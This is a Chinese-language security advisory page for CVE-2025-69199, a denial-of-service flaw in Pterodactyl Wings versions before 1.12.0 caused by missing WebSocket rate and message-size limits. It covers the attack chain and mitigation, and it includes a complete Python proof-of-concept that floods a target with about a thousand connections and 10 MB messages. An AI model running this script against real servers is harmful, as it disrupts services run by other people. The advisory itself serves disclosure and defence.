IPBUF安全漏洞报告
English
CVE-2025-69199 CVSS 6.5 中危

CVE-2025-69199 Pterodactyl Wings WebSocket拒绝服务漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2025-69199
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Pterodactyl Wings

相关标签

拒绝服务WebSocket速率限制缺失资源耗尽Pterodactyl Wings游戏服务器管理CVE-2025-69199内存耗尽CPU过载

漏洞概述

CVE-2025-69199是Pterodactyl Wings游戏服务器管理面板中的一个中等严重性拒绝服务漏洞。该漏洞存在于1.12.0之前的版本中,由于WebSocket连接缺乏适当的速率限制和消息大小限制,远程攻击者可以通过建立大量WebSocket连接并发送超大体积的数据包来耗尽目标服务器的内存和CPU资源,最终导致服务不可用。攻击者只需拥有低权限账户即可发起攻击,无需用户交互,CVSS评分6.5属于中等严重程度。

技术细节

漏洞根因在于Pterodactyl Wings在1.12.0之前的版本中未对WebSocket连接实现有效的速率限制机制。攻击者可以同时打开数千个WebSocket连接,每个连接可以持续发送任意大小的数据消息。由于服务器端没有对单条消息的最大尺寸进行限制,也没有对单位时间内的连接数和数据传输量进行节流控制,导致以下攻击场景:1) 大量并发连接耗尽服务器socket资源;2) 超大消息占用大量内存缓冲区;3) 持续数据传输造成网络带宽耗尽和CPU处理压力。这些因素叠加最终导致目标Wings服务崩溃或无法响应正常请求。修复版本1.12.0增加了连接速率限制和消息大小上限控制。

攻击链分析

STEP 1
步骤1
攻击者获取目标Pterodactyl Wings服务的WebSocket端点地址,通常为/ws路径
STEP 2
步骤2
使用低权限账户或通过认证后,建立大量并发WebSocket连接(可达到数千个)
STEP 3
步骤3
通过每个连接持续发送超大体积的数据消息,由于服务器无消息大小限制,数据被缓存到内存
STEP 4
步骤4
大量连接和持续数据传输导致服务器socket资源耗尽、内存溢出、CPU负载飙升
STEP 5
步骤5
Wings服务响应变慢或完全崩溃,游戏服务器管理功能不可用,形成拒绝服务效果

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-69199 PoC - Pterodactyl Wings WebSocket DoS Note: This PoC is for educational and authorized testing purposes only. """ import asyncio import websockets import json import argparse from datetime import datetime async def exploit(target_url, num_connections, message_size): """ Simulate the DoS attack by creating many websocket connections and sending large messages to exhaust server resources. """ print(f"[*] Starting CVE-2025-69199 exploit against {target_url}") print(f"[*] Target: {num_connections} connections, {message_size} bytes per message") connections = [] large_message = "A" * message_size async def create_websocket_session(uri): """Create a websocket connection and send large messages.""" try: async with websockets.connect(uri, ping_interval=None) as ws: # Send authentication (if required) auth_data = {"event": "auth", "data": {"token": "test_token"}} await ws.send(json.dumps(auth_data)) # Continuously send large messages while True: await ws.send(large_message) await asyncio.sleep(0.1) # Small delay between messages except Exception as e: print(f"[-] Connection error: {e}") # Create multiple websocket connections tasks = [] for i in range(num_connections): task = asyncio.create_task(create_websocket_session(target_url)) tasks.append(task) print(f"[*] Created connection {i+1}/{num_connections}") await asyncio.sleep(0.01) # Stagger connection creation print(f"[*] All {num_connections} connections established") print(f"[*] Attack in progress... Press Ctrl+C to stop") try: await asyncio.gather(*tasks) except KeyboardInterrupt: print("\n[!] Attack stopped by user") for task in tasks: task.cancel() if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-69199 PoC") parser.add_argument("--target", default="ws://localhost:8080/ws", help="Target websocket URL") parser.add_argument("--connections", type=int, default=1000, help="Number of connections") parser.add_argument("--message-size", type=int, default=10485760, help="Message size in bytes (default: 10MB)") args = parser.parse_args() asyncio.run(exploit(args.target, args.connections, args.message_size))

影响范围

Pterodactyl Wings < 1.12.0

防御指南

临时缓解措施
立即将Pterodactyl Wings升级到1.12.0版本,该版本修复了WebSocket速率限制和消息大小限制缺失的问题。在升级前,可通过在前端代理(如nginx)配置WebSocket连接限制、最大请求体大小限制、以及启用连接速率限制来缓解风险。同时建议监控异常连接行为,设置连接数阈值告警。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表